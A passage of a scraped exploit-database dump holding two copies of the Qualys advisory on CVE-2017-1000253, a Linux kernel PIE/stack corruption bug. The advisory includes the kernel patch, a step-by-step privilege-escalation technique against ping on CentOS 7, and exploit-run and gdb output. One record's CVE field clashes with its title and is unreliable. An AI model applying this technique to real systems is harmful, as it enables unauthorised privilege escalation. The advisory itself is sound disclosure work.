1000\r\nGid: 1000 1000 1000\r\nCapInh: 0000000000000000\r\nCapPrm: 0000000000003000\r\nCapEff: 0000000000000000\r\n\r\n[[email\u00a0protected] tmp]# cat /proc/6301/status\r\nName: ping\r\n...\r\nPid: 6301\r\n...\r\nUid: 1000 1000 1000 1000\r\nGid: 1000 1000 1000 1000\r\n...\r\nCapInh: 0000000000000000\r\nCapPrm: 0000000000003000\r\nCapEff: 0000000000000000\r\n...\r\n\r\n[[email\u00a0protected] tmp]# cat /proc/6301/maps\r\n7ffbc573d000-7ffbc58f4000 r-xp 00000000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbc58f4000-7ffbc5af3000 ---p 001b7000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbc5af3000-7ffbc5af7000 r--p 001b6000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbc5af7000-7ffbc5af9000 rw-p 001ba000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbc5af9000-7ffbc5afe000 rw-p 00000000 00:00 0 \r\n7ffbc5afe000-7ffbc5aff000 r-xp 00000000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2\r\n7ffbc5aff000-7ffbc5cfe000 ---p 00001000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2\r\n7ffbc5cfe000-7ffbc5cff000 r--p 00000000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2\r\n7ffbc5cff000-7ffbc5d00000 rw-p 00001000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2\r\n7ffbc5d00000-7ffbc5d20000 r-xp 00000000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbc5f15000-7ffbc5f18000 rw-p 00000000 00:00 0 \r\n7ffbc5f1c000-7ffbc5f1e000 rw-p 00000000 00:00 0 \r\n7ffbc5f1e000-7ffbc5f20000 r-xp 00000000 00:00 0 [vdso]\r\n7ffbc5f20000-7ffbc5f21000 r--p 00020000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbc5f21000-7ffbc5f22000 rw-p 00021000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbc5f22000-7ffbc5f23000 rw-p 00000000 00:00 0 \r\n7ffbc5f23000-7ffbc5f31000 r-xp 00000000 fd:00 12968754 /usr/bin/ping\r\n7ffbc6031000-7ffbc6130000 rw-p 00000000 00:00 0 \r\n7ffbc6130000-7ffbc6131000 r--p 0000d000 fd:00 12968754 /usr/bin/ping\r\n7ffbc6131000-7ffbc6132000 rw-p 0000e000 fd:00 12968754 /usr/bin/ping\r\n7ffbc6132000-7ffbc6155000 rw-p 00000000 00:00 0 [stack]\r\n7ffbc6255000-7ffc29988000 rw-p 00000000 00:00 0 [heap]\r\nffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]\r\n\r\n[[email\u00a0protected] tmp]# gdb /usr/bin/ping 6301\r\n...\r\n(gdb) x/16384xg 0x7ffbc6130000 + 8\r\n0x7ffbc6130008: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130018: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130028: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130038: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130048: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130058: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130068: 0x4141414141414141 0x4141414141414141\r\n...\r\n0x7ffbc6132678: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132688: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132698: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61326a8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61326b8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61326c8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61326d8: 0x4141414141414141 0x00007ffbc6132700\r\n0x7ffbc61326e8: 0x00007ffbc5d01463 0x4141414141410041\r\n0x7ffbc61326f8: 0x0000000000000005 0x888908844e7ab888\r\n0x7ffbc6132708: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc6132718: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132728: 0x0041414141414141 0x00007ffbc6132740\r\n0x7ffbc6132738: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc6132748: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132758: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132768: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132778: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132788: 0x4141414141414141 0x00007ffbc6132700\r\n0x7ffbc6132798: 0x00007ffbc5d01463 0x4141414141410041\r\n0x7ffbc61327a8: 0x0000000000000001 0x77777777777779b1\r\n0x7ffbc61327b8: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc61327c8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61327d8: 0x0041414141414141 0x00007ffbc61327f0\r\n0x7ffbc61327e8: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc61327f8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132808: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132818: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132828: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132838: 0x4141414141414141 0x00007ffbc6132800\r\n0x7ffbc6132848: 0x00007ffbc5d01463 0x4141414141410041\r\n0x7ffbc6132858: 0x0000000000000006 0x4848c8440e3a7848\r\n0x7ffbc6132868: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc6132878: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132888: 0x0000000000000000 0x00007ffbc61328a0\r\n0x7ffbc6132898: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc61328a8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61328b8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61328c8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61328d8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61328e8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61328f8: 0x4141414141414141 0x4141414141414141\r\n...\r\n(gdb) x/s 0x888908844e7ab888 + 0x77777777777779b1\r\n0x7ffbc5f23239: \"lib64/ld-linux-x86-64.so.2\"\r\n\r\n\r\n========================================================================\r\nAcknowledgments\r\n========================================================================\r\n\r\nWe thank Red Hat and the members of the [email\u00a0protected] list.\n\n# 0day.today [2018-02-16] #", "cvss": {"score": 5.5, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:NONE/"}, "sourceHref": "https://0day.today/exploit/28745"}, {"lastseen": "2018-04-08T01:44:19", "references": [], "description": "A Linux PIE/stack corruption vulnerability exists. Most notably, all versions of CentOS 7 before 1708 (released on September 13, 2017), all versions of Red Hat Enterprise Linux 7 before 7.4 (released on August 1, 2017), and all versions of CentOS 6 and Red Hat Enterprise Linux 6 are exploitable.", "edition": 1, "reporter": "Qualys Security Advisory", "published": "2017-09-28T00:00:00", "title": "Linux Local Privilege Escalation Vulnerability", "type": "zdt", "enchantments": {"score": null}, "bulletinFamily": "exploit", "cvelist": ["CVE-2017-10002"], "modified": "2017-09-28T00:00:00", "id": "1337DAY-ID-28653", "href": "https://0day.today/exploit/description/28653", "sourceData": "Linux PIE/stack corruption (CVE-2017-1000253)\r\n\r\n\r\n========================================================================\r\nContents\r\n========================================================================\r\n\r\nSummary\r\nAnalysis\r\nExploitation\r\nAcknowledgments\r\n\r\n\r\n========================================================================\r\nSummary\r\n========================================================================\r\n\r\nLinux distributions that have not patched their long-term kernels with\r\nhttps://git.kernel.org/linus/a87938b2e246b81b4fb713edb371a9fa3c5c3c86\r\n(committed on April 14, 2015) are vulnerable to CVE-2017-1000253, a\r\nLocal Privilege Escalation.\r\n\r\nMost notably, all versions of CentOS 7 before 1708 (released on\r\nSeptember 13, 2017), all versions of Red Hat Enterprise Linux 7 before\r\n7.4 (released on August 1, 2017), and all versions of CentOS 6 and Red\r\nHat Enterprise Linux 6 are exploitable.\r\n\r\n\r\n========================================================================\r\nAnalysis\r\n========================================================================\r\n\r\n------------------------------------------------------------------------\r\nPre-Stack-Clash kernels\r\n------------------------------------------------------------------------\r\n\r\nOccasionally, we have noticed a strange behavior with PIEs\r\n(Position-Independent Executables) on CentOS 7:\r\n\r\nLinux localhost.localdomain 3.10.0-514.21.1.el7.x86_64 #1 SMP Thu May 25 17:04:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux\r\n\r\n7ffbad3b3000-7ffbad56a000 r-xp 00000000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbad56a000-7ffbad769000 ---p 001b7000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbad769000-7ffbad76d000 r--p 001b6000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbad76d000-7ffbad76f000 rw-p 001ba000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbad76f000-7ffbad774000 rw-p 00000000 00:00 0 \r\n7ffbad774000-7ffbad794000 r-xp 00000000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbad967000-7ffbad98b000 rw-p 00000000 00:00 0 \r\n7ffbad990000-7ffbad991000 rw-p 00000000 00:00 0 \r\n7ffbad991000-7ffbad993000 r-xp 00000000 00:00 0 [vdso]\r\n7ffbad993000-7ffbad994000 r--p 0001f000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbad994000-7ffbad995000 rw-p 00020000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbad995000-7ffbad996000 rw-p 00000000 00:00 0 \r\n7ffbad996000-7ffbad998000 r-xp 00000000 fd:00 4194375 /tmp/PIE\r\n7ffbad999000-7ffbadb97000 rw-p 00000000 00:00 0 [stack]\r\n7ffbadb97000-7ffbadb98000 r--p 00001000 fd:00 4194375 /tmp/PIE\r\n7ffbadb98000-7ffbadbb9000 rw-p 00002000 fd:00 4194375 /tmp/PIE\r\n7ffbadbba000-7ffc0d9ba000 rw-p 00000000 00:00 0 [heap]\r\nffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]\r\nrsp 0x7ffbad9a0978\r\n\r\nIn this example, the kernel's execve() code erroneously mapped the PIE's\r\nread-write segment into the stack memory region, thus corrupting and\r\ndividing the stack into three parts:\r\n\r\n- 7ffbad999000-7ffbadb97000, the lowest part of the stack, is where the\r\n stack pointer (rsp) points to, after execve() returns to the userland;\r\n\r\n- 7ffbadb97000-7ffbadbb9000, the middle part of the stack, was replaced\r\n by the PIE's read-write segment (7ffbadb97000-7ffbadb98000 was later\r\n mprotect()ed read-only by RELRO), and hence a write to this part of\r\n the stack smashes the PIE's read-write segment, and vice versa;\r\n\r\n- 7ffbadbba000-7ffc0d9ba000, the highest part of the stack, is\r\n incorrectly displayed as the \"[heap]\" in /proc/pid/maps (because the\r\n program brk() points there), but is correctly flagged as a stack in\r\n /proc/pid/smaps (the \"gd\" flag, \"grows down\").\r\n\r\nThis kernel vulnerability was fixed in April 2015 by commit\r\na87938b2e246b81b4fb713edb371a9fa3c5c3c86 (backported to Linux 3.10.77 in\r\nMay 2015), but it was not recognized as a security threat. This fix was\r\ntherefore not backported to long-term distributions such as CentOS:\r\n\r\n------------------------------------------------------------------------\r\n\r\nFrom: Michael Davidson <[email\u00a0protected]>\r\nDate: Tue, 14 Apr 2015 15:47:38 -0700\r\nSubject: fs/binfmt_elf.c: fix bug in loading of PIE binaries\r\n\r\nWith CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE enabled, and a normal top-down\r\naddress allocation strategy, load_elf_binary() will attempt to map a PIE\r\nbinary into an address range immediately below mm->mmap_base.\r\n\r\nUnfortunately, load_elf_ binary() does not take account of the need to\r\nallocate sufficient space for the entire binary which means that, while\r\nthe first PT_LOAD segment is mapped below mm->mmap_base, the subsequent\r\nPT_LOAD segment(s) end up being mapped above mm->mmap_base into the are\r\nthat is supposed to be the \"gap\" between the stack and the binary.\r\n\r\nSince the size of the \"gap\" on x86_64 is only guaranteed to be 128MB this\r\nmeans that binaries with large data segments > 128MB can end up mapping\r\npart of their data segment over their stack resulting in corruption of the\r\nstack (and the data segment once the binary starts to run).\r\n\r\nAny PIE binary with a data segment > 128MB is vulnerable to this although\r\naddress randomization means that the actual gap between the stack and the\r\nend of the binary is normally greater than 128MB. The larger the data\r\nsegment of the binary the higher the probability of failure.\r\n\r\nFix this by calculating the total size of the binary in the same way as\r\nload_elf_interp().\r\n\r\nSigned-off-by: Michael Davidson <[email\u00a0protected]>\r\nCc: Alexander Viro <[email\u00a0protected]>\r\nCc: Jiri Kosina <[email\u00a0protected]>\r\nCc: Kees Cook <[email\u00a0protected]>\r\nCc: <[email\u00a0protected]>\r\nSigned-off-by: Andrew Morton <[email\u00a0protected]>\r\nSigned-off-by: Linus Torvalds <[email\u00a0protected]>\r\n---\r\n fs/binfmt_elf.c | 9 ++++++++-\r\n 1 file changed, 8 insertions(+), 1 deletion(-)\r\n\r\ndiff --git a/fs/binfmt_elf.c b/fs/binfmt_elf.c\r\nindex 995986b..d925f55 100644\r\n--- a/fs/binfmt_elf.c\r\n+++ b/fs/binfmt_elf.c\r\n@@ -862,6 +862,7 @@ static int load_elf_binary(struct linux_binprm *bprm)\r\n i < loc->elf_ex.e_phnum; i++, elf_ppnt++) {\r\n int elf_prot = 0, elf_flags;\r\n unsigned long k, vaddr;\r\n+ unsigned long total_size = 0;\r\n \r\n if (elf_ppnt->p_type != PT_LOAD)\r\n continue;\r\n@@ -924,10 +925,16 @@ static int load_elf_binary(struct linux_binprm *bprm)\r\n #else\r\n load_bias = ELF_PAGESTART(ELF_ET_DYN_BASE - vaddr);\r\n #endif\r\n+ total_size = total_mapping_size(elf_phdata,\r\n+ loc->elf_ex.e_phnum);\r\n+ if (!total_size) {\r\n+ error = -EINVAL;\r\n+ goto out_free_dentry;\r\n+ }\r\n }\r\n \r\n error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt,\r\n- elf_prot, elf_flags, 0);\r\n+ elf_prot, elf_flags, total_size);\r\n if (BAD_ADDR(error)) {\r\n retval = IS_ERR((void *)error) ?\r\n PTR_ERR((void*)error) : -EINVAL;\r\n\r\n------------------------------------------------------------------------\r\n\r\nUnfortunately, this vulnerability is not limited to the PIEs whose\r\nread-write segment is larger than 128MB. Indeed, 128MB is the minimum\r\ndistance between the mmap_base and the highest address of the stack, not\r\nthe lowest address of the stack (CVE-2017-1000379): consequently, and as\r\nshown in our Stack Clash advisory, if we pass 1.5GB of argument strings\r\nto execve(), then any PIE may be mapped directly below the stack (and\r\ntrigger CVE-2017-1000253) with a probability of ~1/17331 (5 hours on\r\naverage, if each run takes 1 second).\r\n\r\n------------------------------------------------------------------------\r\nPost-Stack-Clash kernels\r\n------------------------------------------------------------------------\r\n\r\nAs a proof-of-concept, we will publish CVE-2017-1000253.c, an exploit\r\nfor ping on CentOS-7 kernel versions \"3.10.0-514.21.2.el7.x86_64\" and\r\n\"3.10.0-514.26.1.el7.x86_64\" (the first kernel updates after the Stack\r\nClash). The PIE/stack layout on these post-Stack-Clash kernels differs\r\nslightly from the layout on pre-Stack-Clash kernels, since the size of\r\nthe stack guard-page was increased from 4KB to 1MB:\r\n\r\nLinux localhost.localdomain 3.10.0-514.26.1.el7.x86_64 #1 SMP Thu Jun 29 16:05:25 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux\r\n\r\n7ffba9ee4000-7ffbaa09b000 r-xp 00000000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbaa09b000-7ffbaa29a000 ---p 001b7000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbaa29a000-7ffbaa29e000 r--p 001b6000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbaa29e000-7ffbaa2a0000 rw-p 001ba000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbaa2a0000-7ffbaa2a5000 rw-p 00000000 00:00 0 \r\n7ffbaa2a5000-7ffbaa2c5000 r-xp 00000000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbaa499000-7ffbaa4bd000 rw-p 00000000 00:00 0 \r\n7ffbaa4c2000-7ffbaa4c3000 rw-p 00000000 00:00 0 \r\n7ffbaa4c3000-7ffbaa4c5000 r-xp 00000000 00:00 0 [vdso]\r\n7ffbaa4c5000-7ffbaa4c6000 r--p 00020000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbaa4c6000-7ffbaa4c7000 rw-p 00021000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbaa4c7000-7ffbaa4c8000 rw-p 00000000 00:00 0 \r\n7ffbaa4c8000-7ffbaa4ca000 r-xp 00000000 fd:00 4194375 /tmp/PIE\r\n7ffbaa5ca000-7ffbaa6c9000 rw-p 00000000 00:00 0 \r\n7ffbaa6c9000-7ffbaa6ca000 r--p 00001000 fd:00 4194375 /tmp/PIE\r\n7ffbaa6ca000-7ffbaa6eb000 rw-p 00002000 fd:00 4194375 /tmp/PIE\r\n7ffbaa7eb000-7ffc0a6eb000 rw-p 00000000 00:00 0 [heap]\r\nffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]\r\nrsp 0x7ffbaa6d1c18\r\n\r\nIn this example, the kernel's execve() code also mapped the PIE's\r\nread-write segment into the stack memory region, and divided the stack\r\ninto three parts, but:\r\n\r\n- 7ffbaa5ca000-7ffbaa6c9000, the lowest part of the stack, is not\r\n displayed as the \"[stack]\" in /proc/pid/maps (because rsp does not\r\n point there), but is correctly flagged as a stack in /proc/pid/smaps;\r\n\r\n- 7ffbaa6c9000-7ffbaa6eb000, the middle part of the stack, was replaced\r\n by the PIE's read-write segment, and is where rsp points to, after\r\n execve() returns to the userland;\r\n\r\n- 7ffbaa7eb000-7ffc0a6eb000, the highest part of the stack, is (again)\r\n incorrectly displayed as the \"[heap]\" in /proc/pid/maps, but is\r\n correctly flagged as a stack in /proc/pid/smaps.\r\n\r\nOlder kernels (such as \"3.10.0-514.21.1.el7.x86_64\") and newer kernels\r\n(such as \"3.10.0-514.26.2.el7.x86_64\"), other distributions and other\r\nprivileged PIEs (including SUID-root PIEs), are also exploitable, but\r\nthe exploitation method must be adapted to slightly different PIE/stack\r\nlayouts. This is left as an exercise for the interested reader.\r\n\r\n\r\n========================================================================\r\nExploitation\r\n========================================================================\r\n\r\nOur CVE-2017-1000253.c exploit for CentOS-7 kernel versions\r\n\"3.10.0-514.21.2.el7.x86_64\" and \"3.10.0-514.26.1.el7.x86_64\" is very\r\nsimilar to our stack-clash exploit Linux_ldso_dynamic.c (we smash the\r\nPIE's .dynamic section with a stack-based string operation, and force\r\nld.so to load and execute our own shared library), but with two\r\nimportant differences:\r\n\r\n- we do not need to jump over the stack guard-page, because rsp\r\n naturally points into the PIE's read-write segment after we trigger\r\n CVE-2017-1000253;\r\n\r\n- on 64-bit, all .dynamic tags contain null-bytes, a serious problem if\r\n we want to smash the .dynamic section with a null-terminated string.\r\n\r\nTo solve this problem, we smash the .dynamic section with multiple calls\r\nto process_dl_debug(), a function called by process_envvars() very early\r\nin dl_main(), before elf_get_dynamic_info() parses the .dynamic section.\r\nprocess_dl_debug() is called for each LD_DEBUG environment variable, and\r\ncalls strndupa() (strnlen(), alloca(), memcpy()) for each unknown option\r\nin LD_DEBUG, thus allowing us to smash the .dynamic section with\r\nmultiple null-terminated strings, and hence multiple null-bytes.\r\n\r\nUnfortunately, the .dynamic entries that we build on the stack with\r\nprocess_dl_debug():\r\n\r\n- DT_SYMTAB (tag 0x0000000000000006, value unused);\r\n\r\n- DT_STRTAB (tag 0x0000000000000005), an offset (into the PIE's\r\n read-execute segment) to our own .dynstr section -- this is later\r\n transformed by elf_get_dynamic_info() into an absolute address,\r\n allowing us to bypass ASLR;\r\n\r\n- DT_NEEDED (tag 0x0000000000000001), an offset (into our .dynstr\r\n section) to the pathname of our own shared library -- we use offset\r\n 0x238+1 into the PIE's read-execute segment, where the string\r\n \"lib64/ld-linux-x86-64.so.2\" is always stored;\r\n\r\n- DT_NULL (tag 0x0000000000000000, value unused);\r\n\r\nare partially destroyed by the stack-frames of further function calls\r\n(_dl_error_printf(), for example). Our solution to this problem is very\r\nspecific to CentOS 7, and restricts this particular exploit to the PIEs\r\nwhose .dynamic section's address modulo 16 is equal to 8:\r\n\r\n- we build our .dynamic tags through a stack variable used by memcpy()\r\n to store the address modulo 16 of the unknown options in LD_DEBUG;\r\n\r\n- we store our .dynamic values in an unused slot of process_dl_debug()'s\r\n stack-frame.\r\n\r\nOne last, unexpected problem with this particular exploit is that rsp\r\ncan never point into the highest part of the stack (after the kernel's\r\nexecve() code divided the stack into three parts): indeed, the kernel's\r\npage-fault handler would then try to insert a stack guard-page below the\r\nhighest part of the stack, and would SIGKILL our process because the\r\nPIE's read-write segment is already mapped there.\r\n\r\nThe solution to this problem is simple, but further restricts this\r\nparticular exploit to the PIEs whose read-write segment is large enough\r\nto encompass rsp: the kernel's page-fault handler will not try to insert\r\na stack guard-page there, because the PIE's read-write segment is not\r\nflagged as a stack (VM_GROWSDOWN). For example, on a default, minimal\r\nCentOS 7, ping is privileged (cap_net_admin and cap_net_raw) and\r\nexploitable:\r\n\r\n[[email\u00a0protected] tmp]$ getcap -r / 2>/dev/null\r\n/usr/bin/ping = cap_net_admin,cap_net_raw+p\r\n...\r\n\r\n[[email\u00a0protected] tmp]$ readelf -a /usr/bin/ping\r\n...\r\n Type Offset VirtAddr PhysAddr\r\n FileSiz MemSiz Flags Align\r\n...\r\n LOAD 0x000000000000da58 0x000000000020da58 0x000000000020da58\r\n 0x0000000000000988 0x00000000000241e8 RW 200000\r\n DYNAMIC 0x000000000000da78 0x000000000020da78 0x000000000020da78\r\n 0x0000000000000240 0x0000000000000240 RW 8\r\n...\r\n\r\n[[email\u00a0protected] tmp]$ ./CVE-2017-1000253 /usr/bin/ping\r\nargv_size 101903\r\nsmash_size 36864\r\nhi_smash_size 18432\r\nlo_smash_size 18432\r\nprobability 1/16028\r\ntry 1 1.409649 exited 2\r\ntry 2 1.097508 exited 2\r\ntry 3 1.060084 exited 2\r\ntry 4 1.059042 exited 2\r\ntry 5 1.090841 exited 2\r\ntry 6 1.068993 exited 2\r\ntry 7 1.093662 exited 2\r\n...\r\ntry 3411 1.018799 exited 2\r\ntry 3412 1.022255 exited 2\r\ntry 3413 1.022062 exited 2\r\ntry 3414 1.061316 exited 2\r\ntry 3415 1.024066 exited 2\r\ntry 3416 1.024864 exited 2\r\ntry 3417 1.043867 exited 2\r\nPid: 6301\r\nUid: 1000 1000 1000\r\nGid: 1000 1000 1000\r\nCapInh: 0000000000000000\r\nCapPrm: 0000000000003000\r\nCapEff: 0000000000000000\r\n\r\n[[email\u00a0protected] tmp]# cat /proc/6301/status\r\nName: ping\r\n...\r\nPid: 6301\r\n...\r\nUid: 1000 1000 1000 1000\r\nGid: 1000 1000 1000 1000\r\n...\r\nCapInh: 0000000000000000\r\nCapPrm: 0000000000003000\r\nCapEff: 0000000000000000\r\n...\r\n\r\n[[email\u00a0protected] tmp]# cat /proc/6301/maps\r\n7ffbc573d000-7ffbc58f4000 r-xp 00000000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbc58f4000-7ffbc5af3000 ---p 001b7000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbc5af3000-7ffbc5af7000 r--p 001b6000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbc5af7000-7ffbc5af9000 rw-p 001ba000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbc5af9000-7ffbc5afe000 rw-p 00000000 00:00 0 \r\n7ffbc5afe000-7ffbc5aff000 r-xp 00000000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2\r\n7ffbc5aff000-7ffbc5cfe000 ---p 00001000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2\r\n7ffbc5cfe000-7ffbc5cff000 r--p 00000000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2\r\n7ffbc5cff000-7ffbc5d00000 rw-p 00001000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2\r\n7ffbc5d00000-7ffbc5d20000 r-xp 00000000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbc5f15000-7ffbc5f18000 rw-p 00000000 00:00 0 \r\n7ffbc5f1c000-7ffbc5f1e000 rw-p 00000000 00:00 0 \r\n7ffbc5f1e000-7ffbc5f20000 r-xp 00000000 00:00 0 [vdso]\r\n7ffbc5f20000-7ffbc5f21000 r--p 00020000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbc5f21000-7ffbc5f22000 rw-p 00021000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbc5f22000-7ffbc5f23000 rw-p 00000000 00:00 0 \r\n7ffbc5f23000-7ffbc5f31000 r-xp 00000000 fd:00 12968754 /usr/bin/ping\r\n7ffbc6031000-7ffbc6130000 rw-p 00000000 00:00 0 \r\n7ffbc6130000-7ffbc6131000 r--p 0000d000 fd:00 12968754 /usr/bin/ping\r\n7ffbc6131000-7ffbc6132000 rw-p 0000e000 fd:00 12968754 /usr/bin/ping\r\n7ffbc6132000-7ffbc6155000 rw-p 00000000 00:00 0 [stack]\r\n7ffbc6255000-7ffc29988000 rw-p 00000000 00:00 0 [heap]\r\nffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]\r\n\r\n[[email\u00a0protected] tmp]# gdb /usr/bin/ping 6301\r\n...\r\n(gdb) x/16384xg 0x7ffbc6130000 + 8\r\n0x7ffbc6130008: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130018: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130028: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130038: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130048: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130058: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130068: 0x4141414141414141 0x4141414141414141\r\n...\r\n0x7ffbc6132678: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132688: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132698: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61326a8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61326b8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61326c8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61326d8: 0x4141414141414141 0x00007ffbc6132700\r\n0x7ffbc61326e8: 0x00007ffbc5d01463 0x4141414141410041\r\n0x7ffbc61326f8: 0x0000000000000005 0x888908844e7ab888\r\n0x7ffbc6132708: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc6132718: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132728: 0x0041414141414141 0x00007ffbc6132740\r\n0x7ffbc6132738: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc6132748: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132758: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132768: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132778: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132788: 0x4141414141414141 0x00007ffbc6132700\r\n0x7ffbc6132798: 0x00007ffbc5d01463 0x4141414141410041\r\n0x7ffbc61327a8: 0x0000000000000001 0x77777777777779b1\r\n0x7ffbc61327b8: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc61327c8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61327d8: 0x0041414141414141 0x00007ffbc61327f0\r\n0x7ffbc61327e8: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc61327f8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132808: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132818: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132828: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132838: 0x4141414141414141 0x00007ffbc6132800\r\n0x7ffbc6132848: 0x00007ffbc5d01463 0x4141414141410041\r\n0x7ffbc6132858: 0x0000000000000006 0x4848c8440e3a7848\r\n0x7ffbc6132868: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc6132878: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132888: 0x0000000000000000 0x00007ffbc61328a0\r\n0x7ffbc6132898: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc61328a8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61328b8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61328c8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61328d8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61328e8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61328f8: 0x4141414141414141 0x4141414141414141\r\n...\r\n(gdb) x/s 0x888908844e7ab888 + 0x77777777777779b1\r\n0x7ffbc5f23239: \"lib64/ld-linux-x86-64.so.2\"\r\n\r\n\r\n========================================================================\r\nAcknowledgments\r\n========================================================================\r\n\r\nWe thank Red Hat and the members of the [email\u00a0protected] list.\n\n# 0day.today [2018-04-08] #", "cvss": {"score": 5.5, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:NONE/"}, "sourceHref": "https://0day.today/exploit/28653"}]}}